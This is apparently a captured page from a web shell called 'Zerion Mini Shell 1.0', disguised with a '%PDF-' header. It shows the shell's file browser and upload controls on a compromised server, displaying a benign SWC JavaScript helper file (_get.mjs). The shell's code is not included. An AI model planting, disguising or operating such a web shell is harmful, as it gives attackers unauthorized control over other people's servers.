%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/@swc/helpers/src/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/@swc/helpers/src/_get.mjs

import superPropBase from './_super_prop_base.mjs';

function get(target, property, receiver) {
  if (typeof Reflect !== "undefined" && Reflect.get) {
    get = Reflect.get;
  } else {
    get = function get(target, property, receiver) {
      var base = superPropBase(target, property);
      if (!base) return;
      var desc = Object.getOwnPropertyDescriptor(base, property);

      if (desc.get) {
        return desc.get.call(receiver || target);
      }

      return desc.value;
    };
  }

  return get(target, property, receiver);
}

export default function _get(target, property, receiver) {
  return get(target, property, receiver);
}

Zerion Mini Shell 1.0